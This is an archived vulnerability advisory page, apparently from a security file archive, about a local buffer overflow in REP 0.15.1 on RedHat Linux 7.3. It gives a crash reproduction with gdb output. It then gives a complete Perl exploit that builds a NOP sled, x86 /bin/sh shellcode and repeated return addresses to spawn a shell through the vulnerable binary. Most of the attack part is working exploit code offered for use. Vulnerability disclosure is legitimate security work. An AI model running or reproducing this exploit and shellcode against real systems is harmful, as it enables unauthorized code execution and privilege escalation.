what you don't know can hurt you

repredhat.txt

repredhat.txt
Posted May 1, 2004
Authored by BlackAngels | Site blackangels.it

A local buffer overflow vulnerability exists in REP version 0.15.1 on RedHat Linux 7.3. Proof of concept exploitation included.

tags | advisory, overflow, local, proof of concept
systems | linux, redhat
MD5 | 39225a84cba3e870a2ffcdc5452210b4

repredhat.txt

Change Mirror Download
[ REDHAT LINUX 7.3 LOCAL BUFFER OVERFLOW IN REP 0.15.1 ]




{ Vulnerable system }

REP stands for "Read, Eval, Print", the three main components of any
Lisp system.
Librep is a dialect of Lisp, designed to be used both as an extension
language for applications, and for use as a general programming language.
A vulnerability in REP allows a local user to execute arbitrary code.


{ Description }

REP 0.15.1 for RedHat Linux 7.3 is vulnerable to a local buffer overflow;
the possible cause may be in an incorrect use of strcpy() / memcpy()
functions.
Unfortunately, we are unable to find package's sources, so we couldn't
describe this vulnerability.
To exploit the vulnerability, simply input as first ARG a buffer string
of 4081 bytes :

$ declare -x BADBUFFER=`perl -e '{print "A"x"4081"}'`
$ rep $BADBUFFER

Segmentation fault

$ gdb rep

(gdb) r $BADBUFFER

Program received signal SIGSEGV, Segmentation fault.
0x4003f3cd in Fexpand_file_name () from /usr/lib/librep.so.9

(gdb) info reg esp

esp 0xbf414139 0xbf414139



N.B. Versions before 2.4.20 could be affected from this vulnerability.


{ Exploit’s code }

#!/usr/bin/perl -w


##
# RedHat Linux 7.3 local Buffer Overflow in REP 0.15.1 exploit
#
# Legal notes :
# The BlackAngels staff refuse all responsabilities
# for an incorrect or illegal use of this software
# or for eventual damages to others systems.
#
# http://www.blackangels.it
##

$len = 4260;
$ret = 0xbf414139;
$nop = "\x90";

print "\nRedHat Linux 7.3 local Buffer Overflow in REP 0.15.1 exploit";
print "\nVulnerable versions: RedHat Linux 7.3 with 2.4.20";
print "\n============================================================\n";

if (!$ARGV[0]) {
print "You must specify an offset [ Default = -1000 ] ...\n\n";
exit(-1);
}

my $offset = "$ARGV[0]";

$shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
"\xff\xff/bin/sh";

print "Trying to execute /bin/sh ...\n";

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}

$buffer .= $shellcode;

print("\nAddress: 0x", sprintf('%lx',($ret + $offset)), "\n");
print "\tRet: $ret + Offset: $offset\n\n";

$new_ret = pack('l', ($ret + $offset));
for ($i += length($shellcode); $i < $len; $i += 4) {
$buffer .= $new_ret;
}

exec("/usr/bin/rep $buffer");

Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    6 Files
  • 8
    Aug 8th
    1 Files
  • 9
    Aug 9th
    2 Files
  • 10
    Aug 10th
    27 Files
  • 11
    Aug 11th
    11 Files
  • 12
    Aug 12th
    11 Files
  • 13
    Aug 13th
    17 Files
  • 14
    Aug 14th
    7 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close